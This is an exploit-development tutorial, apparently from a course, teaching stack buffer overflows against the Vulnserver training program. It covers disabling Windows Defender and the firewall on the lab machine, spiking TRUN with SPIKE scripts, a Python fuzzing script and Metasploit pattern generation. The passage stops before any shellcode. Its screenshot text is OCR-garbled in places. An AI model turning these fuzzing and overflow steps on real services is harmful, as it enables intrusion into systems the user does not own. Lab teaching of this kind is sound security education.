Introduction to Exploit Development (Buffer
Overflows)

0.Required Installations

Welcome to the exploit development section of this course. We will be using python and msfvenom to
create or own payloads. We will be utilizing a attack machine and a victim machine. The victim machine
has to be a Windows10 Pro x86 machine. We will be using a VM to achieve this. To get a windows VM
please follow the instructions in the video below.

https://www.youtube.com/watch?v=tQ4Xd5vAZus

With the Windows VM set up we need to install something called Vulnserver. This needs to be installed
on the windows VM. Vulnserver is the vulnerable server that we will be testing our custom exploits
against and hopefully get a reverse shell.

Head over to:

http://www.thegreycorner.com/p/vulnserver.html

The Gl‘ey Vulnserver

Corner Originally introduced here, Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The
program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim
program for testing new exploitation techniques and shellcode.

Whats included?

The github repository includes the usual explanatory text files, source code for the application as well as pre compiled binaries for

Stephen Bradshaw's blog vulnserver.exe and its companion dll file.

about pentesting and

computer security Runnlng Vulnserver

To run vulnserver, make sure the companion dll file essfunc.dll is somewhere within the systems dll path (keeping it in the same

Home . - : -
directory as vulnserver.exe is usually sufficient), and simply open the vulnserver.exe executable. The program will start listening by

About default on port 9999 - if you want to use another port just supply the port number as a command line option to the program - e.g. to
Links listen on port 6666 run vulnserver.exe like so:

Vulnserver

Offensive Security Feed

. . vulnserver.exe 6666
Offensive Security Notes N

N B Q
The program supports no other command line options.

© 2023.

https://t.me/learningnets



Scroll down to the bottom of the page and you will see a link to the downloadable repo

Exploiting Vulnserver

| have written a number of articles about how to go about exploiting the vulnerabilities in Vulnserver, which you can find by checking

this blog for posts tagged vulnserver.

Download

Download from the github repository here

This will bring you to a GitHub repo here you want to download the ZIP file.

¥ master ~ P 1branch  © 0tags

stephenbradshaw Update readme.md

COMPILING.TXT
LICENSETXT
assfunc.c
essfunc.dll
readme.md

vulnserver.c

(e e D = R e B 0 R O B WP

vulnserver.exe

readme.md

Downloads

Local Codespaces

Clone ®

Initial commit

. ) HTTPS  GitHub CLI
Initial commit

Initial commit https://github.com/stephenbradshaw/vulnserver [_|;|

Initial commit Use Git or checkout with SVN using the web URL

Update readme.md

CY) Open with GitHub Desktop

Initial commit
. . ) Downlcad ZIP
Initial commit

poa - 2

vulnserver-master.zip
Open file

See more

If you are having problems downloading it onto your Windows machine you may need to switch off

Defender. We only need to turn off virus protection and firewall settings.
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Security at a glance

See what's happening with the security and health of your device

| @ Home and take any actions needed.

J  Virus & threat protection

R Account protection

) Firewall & network protection Q % ( |8

B3 App & browser control Virus & threat protection Account protection Firewall & network
Real-time protection is off, No action needed. protection
8 Device security leaving your device vulnerable. Firewalls are turned off. Your
device may be vulnerable.
% Device performance & health Turn on
Turn on
dh  Family options

d = 4

App & browser control Device secunity Device performance &
Mo action needed. View status and manage health
hardware security features M action neaded.

gk

Family options
Manage how your family uses
their devices.

@ Settings

Let's open our zip file and extract it to our desktop.

vulnsenver-m
aster

The next tool we want to download is Immunity Debugger.

The following link will take you straight there:

https://www.immunityinc.com/products/debugger/
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(@] ) hitps://www.immunityinc.com/products/

URCES | RESELLERS | PARTNERS | CAREERS | CLIENT LOGIN | CONTAC

... IMMUNITY

COMPANY  SERVICES PRODUCTS

The best of both worlds

GUIl and Command line

What this is going to do is allow us to run programs and it will provide us with useful information. So
when we are testing exploits we will be able to see how its effecting the memory, the stack, and how its
effecting the program. It will make more sense as we start using it. Scrolling down the page a little you
will see a download link.

DEBUGGER

Debugger Overview
Job Ads in Debugger

€8 DEBUGGER

Immunity Debugger is a powerful new way to write
exploits, analyze malware, and reverse engineer binary
files. It builds on a solid user interface with function

graphing, the industry's first heap analysis tool built
specifically for heap creation, and a large and well
supported Python APl for easy extensibility.

Download

Download Immunity Debugger Here!

Overview

After handing over some details the download should begin. Once the download has finished just click
it to start the set up

https://t.me/learningnets



User Account Control

Do you want to allow this app from an
unknown publisher to make changes to your
device?

ImmunityDebugger_1_85_setup.exe

Publisher: Unknown
File origin: Hard drive on this computer

Show more details

Yes

A pop up box will appearing telling us that we need to install python and will install it for us. Go ahead
and click yes on this

Imrmunity Debugger Setup

| = | Ex| Python 2.7.1 was NOT found in the system.
Immunity Debugger needs it to run, -

| of [ Install Python 2.7.1 after Immunity Debugger installer finishes?)

-

~
“ Home

Yes Mo | =
L'?J Mew item = \f] Ope

. . e o :
—" 1w Copy path . 7 | Easy access - Edit
to Quick Copy Paste Move Copy Delete Rename Mew Properties

CCEss al | Paft'-: fl-l':lrt':ut t.:| t':l - fnlder - @Hﬁt

I DI oo T PR i
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Now we should have both tools ready to use on our desktop.
Recycle Bin
2
Microsoft
Edge

vulnsenver-...

£
7

Immunity
Debugger

Let's run immunity to make sure its working. This is what it should look like:

&% Immunity Debugger - [CPU] - s
€| File View Debug Plugins im ions  Window Help Jobs -5
O EE W«x WY 4 lemtwhcPkbzr

Now that we have everything installed next we will learn what a buffer overflow is and how we can
leverage it. And after that we will get hands on with attacking our victims machine.

1.Buffer Overflows Explained
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To start let's talk about the anatomy of memory.

As you can see we have the kernel at the top and the text at the bottom. When you think about your
kernel think about your command line. You can think of it as a bunch of 1s.

And text would be your read only code and you can think of that as a bunch of Os

| Tox

We can also call the kernel the top.

‘ 11111 Kernel TOP

And the text the bottom.

But where we are really going to be focused is the Stack.

Stack

If we dive even deeper into this memory and into the Stack we will find this.
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ESP (Extended Stack Pointer)

Buffer Space

EBP (Extended Base Pointer)
EIP (Extended Instruction Pointer) / Return Address

So what we have here are registers. The Important thing for this lesson is the ESP, Buffer Space, EBP
and EIP.

We can look at this the same as before with ESP sitting at the top.

ESP (Extended Stack Pointer)

And the EBP sitting at the bottom.

EBP (Extended Base Pointer) —_— BOTTOM
EIP (Extended Instruction Pointer) / Return Address

So what happens is you have this buffer space that fills up with characters and those characters move

down.
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ANATOMY OF THE STACK

ESP (Extended Stack Pointer)

$

EBP (Extended Base Pointer) BOTTOM
EIP (Extended Instruction Pointer) / Return Address

What should happen if your properly sanitizing your buffer space is when you send a bunch of
characters at it, say a bunch of As for example.

' ANATOMY OF THE STACK

ESP (Extended Stack Pointer)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RfeiaSPOce AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

EBP (Extended Base Pointer)
EIP (Extended Instruction Pointer) / Return Address

You should reach the EBP but stop as the Buffer Space should be able to contain the characters your
sending. If you have a buffer overflow vulnerability, you can overflow the buffer space your using and
reach over the EBP and into something called the EIP.
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ANATOMY OF THE STACK

ESP (Extended Stack Pointer)

The EIP is where things start to get interesting. This is a pointer address or Return Address. What we
can do is use this address to point in directions that we instruct. For us these directions are going to be
malicious code that will give us a reverse shell. What's happening here is if you can write over the
buffer space and into the EIP, you can take control of the stack and the pointer address which will lead
to a reverse shell.

Lets look at the steps to conduct a buffer overflow.

Steps to Conduct a Buffer Overflow

1. Spiking
Spiking is a method we use to find vulnerabilities in a program

2. Fuzzing

Fuzzing is similar to spiking and is where we throw a bunch of characters at a program to see if we can
break it.

3. Finding the Offset

If we manage to break it we want to find the exact point that it broke which is the offset.

4. Overwriting the EIP

We use the offset to overwrite the EIP (Pointer Address).

5. Finding Bad Characters
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Once we have the EIP controlled we need to do some house keeping and one of those jobs is to find
bad characters.

6. Finding the Right Module

The other job we need to do is finding the right module.

7. Generating Shellcode

Lastly we generate malicious shellcode that will give us our reverse shell..

8. Root!

When we point the EIP to our malicious shellcode and hopefully gain root.
We will be covering all these steps in detail in upcoming lessons.
2.Spiking

one of the initial step in this process is called spiking, but before we do that we need to make sure that
defender is switched off.

Windows Security - O X
= 3,
% Virus & threat protection settings
View and update Virus & threat protection settings for Microsoft Do you have a question?
S Defender Antivirus. Get help
| o Virus 8¢ threat protection
_ : Real-time protection Help improve Windows Security
(P Firewall & network protection Locates and stops malware from installing or running on your device. You Give us feedback
can turn off this setting for a short time before it turns back on

= App & browser control automatically.

Device security & Real-time protection is off, leaving your device vulnerable. Change your privacy settings

=
P Device performance & health @ off View and change privacy settings
for your Windows 10 device.
dh  Family options Privacy settings
Cloud-delivered protection Privacy dashboard

B N . P Stat t
Provides increased and faster protection with access to the latest fvacy Satemen

protection data in the cloud. Works best with Automatic sample
submission turned on.

@ o

Automatic sample submission

Send sample files to Microsoft to help protect you and others from
potential threats. We'll prompt you if the file we need is likely to contain
personal information.

@ o

Submit a sample manually

It should all look something like this.
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Windows Security - m} X

Security at a glance

See what's happening with the security and health of your device
and take any actions needed.

| i Home
O Virus & threat protection
@) Firewall & network protection

4 o “3

B App & browser control

B Device security Virus & threat protection Account protection Firewall & network
Real-time protection is off, No action needed. protection
& Device performance & health leaving your device vulnerable. Firewalls are turned off, Your
device may be vulnerable,
& Family options Turn on

Turn on

o = <

App & browser control Device security Device performance &
Mo action needed. View status and manage health
hardware security features Mo action needed.

gk

Family options
Manage how your family uses
their devices,

@ Settings

The reason we need to do this is because Windows Defender will block our vulnerable server if it picks
it up. We also need to make sure when we run our server and our debugger that we are running them
as administrator. Let's start by getting our server up and running. Head to the Vulnserver folder we
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placed on our desktop and run the .exe file as administrator.

| [ =1 Manage vulnserver-master — m] X
a

Home Share View App Tools o

Li-j .J & cut B x EII T New item ~ \ﬂ [a=open - FHselectan
W] Copy path « -‘ijasyaccess' Edit Select none
Pinatc-:ncizlick Ly st _J Paste shortcut h:g‘ie Ctzpvy DEIvEtE Rename lefd":r Propfr‘tias £ History DD Invert selection
Clipboard Crganise Mew Cpen Select
T » vulnserver-master v O S Search vulnserver-master
~
Name Date modified Type Size
7F Quick access } .
I Desktop IJ COMPILING TexFDccun1ent 1 K_B
| | essfunc.c C File 4KB
*_ Downloads IJ essfunc.dll Application exten... 17KB
=] Documents 2 LicensE Text Document 2KB
=] Pictures [ readme.md MD File 4KB
J‘s Music k L LEile 11 KB
B videos | [] vulnserver Application I 29 ko
Ope_n
@ OneDrive I & Run as administrator I
[ This PC Troubleshoot compatibility
Pin to Start
= Network @& Move to OneDrive
E} Scan with Microsoft Defender...
= Share
Give access to >
Pin to taskbar
Restore previous versions
Titems 1 item selected 22.0KB st ’ =

Cut
Copy

Create shortcut
Delete

Rename

Properties

Once started it should look something like this.

B ChUsers\grmsh'Desktop\vulnserver-masterwulnserver.exe - O *

ems or networ

Waiting

We are also going to run Immunity as administrator, if we don't then it isn't going to detect our
vulnerable server. The other reason for running these in admin is so when we get our shell we will end
up as root automatically. Now you should have immunity running as administrator. Open the file tab and
select Attach.
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G':: Imrnunity ugger - [CPU]
View Debug Plugins Immlib Options Window Help Jobs
T l emtwh c
(FPL)

A pop up box will appear and you should see the Vulnserver process select it and press Attach.

i
6436 ||wulnserver Cr~lsersmarmsh~Desktop~uu 1| C: ~Uzsers~grmsh~Desktop~wu Lnserver-master~ul lnserver. ele
SEEE | UReUT U OOE Seruver Window CiwUsers~armsh~Applata~Local~Microsof £~0nelrive~Onelr ive. exe

You should see a output similar to this.
6?; Immunity ugger - vul - [CPU - thread 0 odule ntdll]
Debug Plugins ImmLib  Options Window Help Jobs
M“X ) H H i lemtwhocecPkbDzr

F|
BEICEAD
-ObgliRemoteBreak in
-ObgUiRemoteBreak in

8 ntdll.DbgliRemoteBreak in
8 ntdll.DbgliRemoteBreak in

YPER4DF1 ntdll.7FEA4DF1
ES BEZE

1
[
[
0

I
884?234836 TEST BVTE FTR DS:[ECHs1, 6 i
+ B
E8 1FEFFFF TN e G5 Bo2E t
wlest ert
lpBomba OO EAN.1 LastErr ERROR_SUCCESS (BBOBOABE)

5Lt gaEes24s (MO,ME,E,BE,MS, PE, GE,LE)
8Dﬂ424 BEEAAAAE LEA ESF

SEFF HOu EDT, EOT 11 mpn

2330 DCESFS?T @ CHF DWORD PTR DS: [77FS630CT,0 ety

74 6E SHORT ntdl |, FPER4EST enpty

BBAD DCESESTT ECi, OWORD_PTR DS: [77FS630C] ety

FFiS Edsirer _DUBRO PTR D: E7rFS51Ea1 ntdll.Rt LDebugPr intTines i

Ehbéz4 Eoecooen LEA R ety

415560 _ARBEBAAI 0L ECH, DWORD PTR FS:[8] 3210 ESFUD:Z

gggﬁHEEEZZ oy G nedll. orERaEDE ooEE  Cond @ Ecr BB 86 0D
o oy R Os: = R A I

83%hs Bonooons DWGRD PTR F3: @1, EAX

207C24 14 LEA EDI,

2E7424 10 ESI,

336 61 AND ESI)1

SECS EC:, ERi
EFE? EB21FSFY EgERD FTR DS: [FFFS91EA] ntdll.Rt LDebugPrintTimes

SBSF CCOZ2EEEE  MOU ECH,DWORD PTR DS: [EDI+2CC]
&4 2960 BEEAGAE MOY DWORD PTR FS:[81,ECH
E& FUSH ESI
E7 FUSH EDI
ES 41EEFFFF ntdll.ZwCont inue
SEBFE Mo EST, ERX
S& = ESI
2 ES S93E0188 <Rt lRaiseStatus
~EB F2 SHDRT ntdll TFER4ES1
CZ 10Ea 1@

206424 @@ LEA ESF,

&d:SEE0 3B@EEGE 0. ECH, DWORD FTR F3: [38]

B4 1 MOL_ECH, DWORD FTR D¢ +1@1
FEd1l @A B3 TEST BVTE FTR DS: EECX+H] 8

TrEDEBZS 7 RETURM to ntdll.7FEDEBZS from ntdll
DA2E4267
FTEOOFFA -®¢w ntdll.DbgliRemoteBreak in
7 7EDDOFF! ntdll.0bgUiRemoteBreak in

AFFF4
AFFFCE =, Painter to nest SEH record
EAREGE . SE handler
DFATECT i

AFFF .
A7FAZS 1- 20 RETURN to KERMEL3Z.7EATFAZS

ATFALE b B0 KERMELZZ.BaseThreadnitThunk
w RETURN to ntdll.77E37ESE
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In the bottom right hand corner it says paused.

% @ QY ozmn B

Unpause this by hitting the play button in the top left hand corner.

G‘E Immunity Debugger - vulnserver.exe - [CPU - thread 00001168, module ntdll]
ﬂFiIE View Debug Plugins ImmLibk  Options  Window Help  Jobs
OB EE I vl 1l emtwhcPkbz

coERADF L

PTER4OF4
To confirm this has worked you will see where it said paused it now says running.

= LY o

@b 7°C Cloudy ~ O & & & ) =yl 55

Let's jump over to our Kali Linux machine and open a terminal. The first thing we want to do is connect
to Vulnserver and see what it is.

By default Vulnserver runs on port 9999 and you need to know the IP address of the Windows machine
that it is running on. With that information we are going to use a tool called netcat

In your terminal run the command:
nc -nv 192.168.21.136 9999

This should connect you to the server.
root® kali) |~
i 192.168.21.136 9999
(UNKNOWN) [192.168.21.136] 9999 (?) open

Welcome to Vulnerable Server! Enter HELP for help.

From here we want to run the command:
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And you should get a list of options.

root%® kali ~
# nc 192.168.21.136 9999
(UNKNOWN) [192.168.21.136] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_valuel
LTIME [1time_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet _valuel
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

The primary command we will be focused on is:
TRUN
We will go over how we figured out that TRUN is vulnerable. Thats where spiking comes in.

What spiking does is takes the commands one at a time by throwing a bunch of characters at each one
to see if we can overflow the buffer. If the program crashes then that tells us that the command is
vulnerable and if it doesnt then maybe its not vulnerable and we move on to the next command. We are
going to look at what a nonvulnerable command looks like before we spick the vulnerable one.

When we spike we will be using a tool called "Generic TCP". Let's exit out of our netcat connection by
pressing CTRL C

Then we want to run:

generic send tcp
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argc=1

Usage: ./generic_send_tcp host port spike_script SKIPVAR SKIPSTR
./generic_send_tcp 192.168.1.100 701 something.spk 0 0

Here we have the usage for this so we need the host which is the targets IP address we need the port
which we also have, we are going to need a spike script which we don't have yet, and we need the
SKIPVAR and SKIPSTR that we will leave as default. So all we really need is a spike script.

Here is what a spike script looks like

-

o) stats.spk

OYne
Qper -

s readline();

s string(“ERERE *);

s string variable("0");

First its going to read the line, Then its going to take a string in this case STATS, Which is one of the
servers commands, then it will throw a variable at it. When we spike this we will send variables in all
different forms and iterations. So it might send 1000 at a time or 20,000 at a time, 5 at a time. With the
intention of finding something that will break the program. Thats what spiking is, sending a bunch of
different characters randomly to try and break parts of the program. Using a text editor we need to
create our spike scripts, one for the command that is not vulnerable (STATS) and one for the command
that is vulnerable (TRUN)

1s readline();
2 s_string("STATS ");
3 s_string_variable("0");

*trun.spk

Open ~ A

1s readline();
2 s_string("TRUN ");
3 s_string_variable("0");

Below you will find both scripts ready to copy and paste.

stats.spk

s readline ()

s _string ("STATS ")
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s _string variable ("0")

trun.spk

s _readline()
s _string ("TRUN ")

s string variable ("0")

We need to send these to Vulnserver.
run the command:

generic send tcp 192.168.21.136 9999 stats.spk 0 O

root® kali — ~/Documents/TCM/buffer_overflow

# generic_send_tcp 192.168.21.136 9999 stats.spk 0 0
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
line read=Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:1
Variablesize= 5004

Fuzzing Varilable 0:2

Variablesize= 5005
Fuzzing Variable 0:
Variablesize= 21
Fuzzing Variable 0:4
Variablesize= 3
Fuzzing Variable 0:5
Variablesize= 2
Fuzzing Variable 0:6
Variablesize= 7

As you can see it is throwing different sized variables at the STATS command if your following along
you will notice that immunity is flickering a screen shot doesnt do the process any justice but here's
what it should look like
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ANNN

ﬁ Immunity Debugger - vulnserver.exe - [CPU - thread 000014F4, module ntdll]
ﬂ File View Debug Plugins ImmlLib Options Window Help Jobs

BT WX P MHEE T emtwh c Dk bz v . s 7

EN

# PRegisters (FFLI

ntdll.Rt 10l

ntdll.Rt LD

New thread with ID B8BB1AD4 created
If we take a look at the Vulnserver client you will see that it is opening and closing connections
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B ChlUsersgrmshh Desktopwulnserver-master\vulnserver.exe

Waiting for client connections...

onnection from

t connections...

Connection closing. ..

In a real test we would let this run through. But as we know this part of the program isn't vulnerable we
can go ahead and kill this. Now we will run it against the vulnerable part of the program (TRUN).

Run the command:

generic send tcp 192.168.21.136 9999 trun.spk 0 O
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root® kali - | ~/Documents/TCM/buffer_overflow

# generic_send_tcp 192.168.21.136 9999 trun.spk 0 0
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
line read=Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:1
line read=Welcome to Vulnerable Server! Enter HELP for help.
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
Fuzzing Variable 0:4
Variablesize= 3
Fuzzing Variable 0:5
Variablesize= 2

Immediately Immunity crashes out and presented this screen.

nunity Debugger - v 1
e View Debug i jow Help Jobs
% EE WX bl lemtwhcPkbzr.s?

[06:00:371 Ac violation when executing [414141411 — use Shift+F?/F8/F9 to pass exception o program Paused

In the bottom right that it has paused its self. So we can assume that this has crashed the program. In
the Vulnserver client we don't see a error message because it is being held by immunity.
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Cih\Users\grmsh'Desktop'vulnserver-master\vulnserver.exe — O it I

Received a client conmection fr
Waiting for client connections.
Connection closing...
Received a client connection fr
Waiting for client connections...
Connection closing...
Received a client connection from 192.168.21.1:
Waiting for client connections...
Connection clos .
Received a client connection from 192
g for client connections...

: 1eas4

Received a client connmection fr
Waiting for client connections...

We've hit a violation this is good, and is telling us that something is vulnerable here, let's take a look at
the information. One important piece of information we want to look at is the TRUN command that was

Re = P < < < < £ < < < < £ < < £ <

B0A1F1E8 ASCIT "TRUN /.../AARRRARAAAAARAARAAARAAAAAAAARAARAAAAARAARAAAAARAAAAAAAAARAAAAANAARAAAAARAAAAAAAAARAARAAAAARAAAAAAAARAARAAANAAR
#eDa57n0

001F3631

0000BENL

#0A1F9C8 ASCIT “AARAAAAAANAAAAAAAAAAARAARAAAAAAAAAAAANAARAAAAANAANAAAAARAAAAAANAARAAAAANAARAAAAARAAAAAAAAARAARAAAAANAAAAARAAAAARAAANAAR
41414141

00401848 vulnserv.00401848

00401848 vulnserv. 80401848

41414141

As you can see we sent this TRUN command with a bunch of A's. So imagine this going into a buffer
space like we talked about in a previous lesson.

ESP (Extended Stack Pointer)

Buffer.Space

VEBP/|Exterded Buse Painter)

Eip (Eile.nded |n§trﬁction Pointerj ‘/-R‘elurr; Address

In a perfect world all these A's would fit in the buffer space, but in this case it has filled over. If we look
at the EBP (Extended Base Pointer) you will see "41414141" which is hex for "AAAA" meaning we have
over written it.
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00A1F1ES ASCII “TRUN /... /AAARRARAARAARAARAAAAAAAAAAARAAARAAAAAAFR
0eDpes7ne
001F3631
00000EN4
06A1F9C8 ASCII “AAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAARAAAAAAAAAR

1414141
00401848 vulnserv.00401848
00401848 vulnserv.00401848

41414141

We have also over written the ESP and the EIP meaning we have overwritten everything. And as we
talked about earlier the EIP is the important factor because if we can control the EIP (Extended
Instruction Pointer) we can point it to something malicious which is what we intend to do.

ABA1F1E8 ASCII “TRUN /.../ARAARAAAAAAAAARAARAAAAAAAAAAAAAAAA

#eDas 7ne

801F3631

B0000BLAL

#0A1F9C8 ASCII “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

41414141
00401848 vulnserv.00401848
00501848 vulnserv.00401848

Digital Gold

In the next chapter we will be looking at another way to achieve this which is called Fuzzing. Fuzzing is
very similar where we send a bunch of A's. It may feel a little like a repeat lesson but we will be building
a python script to do this which will be good practice and worth knowing.

3.Fuzzing

In this lesson we will be covering fuzzing which is similar to spiking as we will be sending a bunch of
characters to try and overflow the buffer. The difference being with spiking we are trying to overflow
multiple commands trying to find what's vulnerable. Now that we know TRUN is vulnerable we want to
attack that command specifically. Be sure to restart Immunity and Vulnserver every time you crash it.
Now thats ready, we want to open a terminal in our Kali Linux machine, and take a look at the Python
script we will be using to fuzz

#!/usr/bin/python
import sys, socket

from time import sleep
buffer = "A" * 100

while True:

try:
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s=socket.socket (socket .AF INET, socket.SOCK STREAM)
s.connect (('192.168.21.136',9999))

s.send(('"TRUN /.../' + buffer))
s.close ()

sleep (1)

buffer = buffer + "A"*100

except:

o

print "Fuzzing crashed at %s bytes" % str(len(buffer))

sys.exit ()

Let's go line by line so we can make sense of this code.

e The first line is declaring that it is python (Python2.7)

e Then we imported sys and socket that way we can call the specific IP and Port.
e We imported sleep so the process can stop before it starts again

¢ We have created a buffer variable and inside buffer we have 100 A's

¢ Next we have a while loop saying while true | want you to try the following.

e We are going to try and connect to this socket and the socket is a AF_INET, and the
SOCK_STREAM is our port.

e Then its saying | want to connect to this IP address and this port.

e Then we send the TRUN command we have added /.. ./ after the command because that is

what shows in the immunity output
¢ closes out the connection
e goes to sleep for a second
¢ then it will append buffer and add another 100 A's

¢ And loop round until it crashes

This will helps narrow down where exactly it is breaking and give us a accurate byte size. Once it
breaks it will write a exception telling use how many bytes it crashed at

The script will send TRUN /.../ + 100 A's as demonstrated in our spiking test.
“"TRUN /... /AAAAAAARAAAAAAAAAAAAAA

In the video tutorial for this module the tutors output is:

TRUN/ . :/

Keep this in mind as we my need to change it later.
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We need to change mode before we run this file is run:
chmod +x fuzzing.py

And make sure Immunity is running.

&S Immunity Debugger -
€] File View Debug PI

module ntdil] - X
Help Jobs

OB TE WXyl i i lemcwhcpkobezr. s 7

TISBLEST " Registers (FPU})

TISB4ES2 INT3

TI5B4ESI INT3

TISB4ESA INT3

TISB4ESS INT3

TISBLES6 INT3

TISBLEST INT3

TI5B4ESS INT3

TISB4ESY INT3

TISBLESA INT3

TI5B4ESB INT3

TISBLESC INT3

TISBLESD INT3

TI5B4ESE INT3

TISBAESF INT3

TI5B4EGO 8B4C24 04 HOV ECK,

TISBLEGA F641 B4 86 TEST BYTE PTR DS:[ECK-41,6

TISB4EGS 74 05 SHORT ntd11.775B4EGF

TISBLEGA E8 81F8FFFF ntdll.ZnTestAlert

TISBLEGF B8 01000000 HOV ERX.1

TISBLET4 €2 1000 10

TISBLETT 8DA424 0000A0NB LEA ESP,

TISBLETE 8BFF HOV EDI,EDI

TI5B4EBB KilserApcDispatcher 833D DC696677 B¢ CHP DHORD PTR DS:[776669DC1,0

TI5B4EBT 8F SHORT ntd11.775B4E97

TI5B4EBY 8BOD DC696677  HOV ECK.DHORD PTR DS:[776669DC]

Address |Hex dump [l 0099FF44

00403000 FF FF FF FF 00 40 00 80 .a_. 0099FF48

00403008 70 2€ 40 00 00 00 00 00 p.@. .. .. 0099FF4C

00403010 FF FF FF FF 00 80 08 00 0099FF50
R Type here to search 7°C Cloudy

Let's run our script.
.7 fuzzing.py

The program wouldn't exit automatically. | had to do it manually after the debugger showed us the
crash. It clocked in at 2300 bytes.

~/Documents/TCM/buffer_overflow

fuzzing.py
i 308

In the next chapter we will find the EIP's exact byte position.
Registers (FFU : < <, <, i i < <, <, % < <,

/it BIFFFFFEEF]
{ FFFFFFFF}

]
g
=]
=]
g
=)
=)
g
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Remember controlling this EIP value is what's most important. Once we can control this EIP value we
can point it at our malicious code and we can get root.

4.Finding the Offset

When we talk about finding the offset, we are talking about the point we overwrite the EIP. Luckily for us
there is a tool already out there that can do this for us. The tool is provided by the Metasploit framework
and is called "pattern create". Let's open a terminal in our Kali machine.

To get this tool we need to run:
/usr/share/metasploit-framework/tools/exploit/pattern create.rb -1 2300

Why are we giving it a value of 23007

If you remember when we were fuzzing and we were told the program crashed around 2300. This gives
us a estimate that is a little past the crash point which is perfect because if the amounts of bytes were
less then the crash point we would never hit it.

/Documents/TCM/buffer overflow

fuzzing.py

All we have to do now is hit enter and a code will be generated.

root® kali) | ~/Documents/TCM/buffer_overflow
# 2300

Aa@AalAa2Aa3AasAa5AabAa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6AD7AD8ADOACOACIAC2AC3ACAAC5AC6ACTACBACI9AdOAdIAd2Ad3Ad4Ad5Ad6Ad7AdS
Ad9Ae0AelAe2Ae3AesAe5Aeb6Ae7Ac8Ae9ATOATIAf2Af3ATLATSAT6AT7AFBATIAgOAE1Ag2Ag3AgLAE5Ag6Ag7Ag8Ag9AROARIAN2AN3Ah4ARSANGANT
Ah8Ah9AiGAi1A12AiI3Ai4AI5A16A17AI8AI9A OA 1AT2A 3Aj4AT5AJ6A]7A 8AFOAkOAKkIAK2AK3AKLAKSAKE6AK7AKSAKOATOATIAT2AT3AT4AL5A6
A17A18A19AMOAMIAM2Am3Am4Am5AmM6AM7 AmS8AM9ANOAN1AN2AN3An4AN5AN6AN7An8AN9A00A01A02A03A04A05A06A07A08A09APOAP1AP2AP3ApLAPS
Ap6Ap7Ap8AP9AQq0Aq1Aq2Aq3AQ4AQq5AQq6AQq7AqBAQOArATr1Ar2Ar3Ar4ArSAr6Ar7Ar8Ar9As0As1As2As3As4AS5AS6As7As8ASOALOATIAL2AL3ALL
At5At6At7At8AT9AUPAUIAU2AU3AULAUSAUGAU7AUBAUIAVOAVIAV2AV3AVLAV5AVEAV7AVBAVIAWOAWIAW2 Aw3AwsAWSAW6AW7 AWBAWIAXOAXTAX2AX3
Ax4Ax5AX6Ax7Ax8Ax9Ay0AY1Ay2Ay3AyLAYySAY6AY7AYy8AY9Az0OAZzIAZ2AZz3Az4AZz5Az6Az7Az8Az9BadBalBa2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb@Bb1Bb2
Bb3Bb4Bb5Bb6Bb7Bb8Bb9BcOBc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9BdOBd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9BedBelBe2Be3Be4Be5Be6Be7Be8Be9BfOBf1
Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh@Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi@Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0
Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9B10B11B12B13B14B15B16B17B18B19Bm@BmM1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9
Bn@Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo®Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp@Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq@Bq1Bq2Bq3Bq4Bg5Bq6Bq7Bq8
Bq9BrOBr1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu@BuUlBu2Bu3Bu4BuS5Bu6Bu?
Bu8Bu9Bv@Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8BvOBwOBw1Bw2Bw3Bw4BwS5Bw6Bw7Bw8BwOBXx0BXx1Bx2BXx3BXx4Bx5Bx6BXx7BXx8Bx9By0By1By2By3By4By5By6
By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9CabCalCa2Ca3Ca4Ca5CabCa7Ca8Ca9ChB@Ch1Ch2Ch3Cb4Cb5Ch6Ch7Cb8ChICCcOCc1Cc2Cc3Cc4lch
